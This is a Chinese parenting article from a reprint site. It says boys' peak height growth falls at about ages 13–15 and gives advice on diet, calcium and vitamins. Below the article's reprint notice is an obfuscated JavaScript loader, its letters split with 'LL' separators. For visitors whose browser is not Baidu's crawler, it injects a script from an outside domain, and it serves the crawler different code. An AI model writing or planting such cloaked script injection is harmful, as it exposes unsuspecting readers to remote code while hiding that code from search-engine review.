当前位置:首页 > 母婴 > 育儿知识 > 正文

男孩长高的最佳年龄是几岁

2017-03-31 21:33:01  来源:360常识网   热度:
导语:孩子的发育是每一个家长足迹关心的,谁都希望自己的孩子能够一个健康的成长,而且是身高一定要跟上发展,对于人们来说身高就是一个极其重要

孩子的发育是每一个家长足迹关心的,谁都希望自己的孩子能够一个健康的成长,而且是身高一定要跟上发展,对于人们来说身高就是一个极其重要的身体发育标准,身高高的人普遍更受欢迎,所以,家长们也希望自己的孩子能够长得高,特别是男孩子的身高。那么,男孩长高的最佳年龄是几岁呢?下面来看看讲解吧。

在儿童少年青春发育过程中,何时身高长得最快呢?研究证实,绝大多数中国汉族儿童的身高突增高峰为女童12岁左右、男童14岁左右;90%以上女童身高增长最快的年龄在11~13岁之间,男童为13~15岁之间。为了让孩子长得高一些,家长尤其应注意孩子在生长快速期的营养、运动等问题。

应注重营养补充

营养是儿童体格生长的关键。体格正常生长所需的能量、蛋白质和氨基酸,必须由食物供给,主要是肉、蛋、豆及豆类食物。骨的形成还需要足够量的钙、磷及微量的锰和铁。钙的摄入不足及维生素D缺乏时,会造成骨矿化不足,维生素A缺乏会使骨变短变厚,维生素C缺乏会使骨细胞间质形成缺陷而变脆,这些都会影响骨的生长。

目前一般家庭在有荤有素的饮食中,营养应该是全面及足量的,家长应该注意不要让孩子养成偏食的习惯,更不要让孩子过多地吃零食而影响重要营养物质的摄入。

从以上的讲解来看,男孩长高的最佳年龄是13-15岁,所以,家长们可以在孩子13-15岁之间为孩子制定一个详细的升高增长策略,让自己的孩子能够在男孩长高的最佳年龄里面奋力的冲刺,让孩子的身高比其他孩子的身高有更多的优势。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}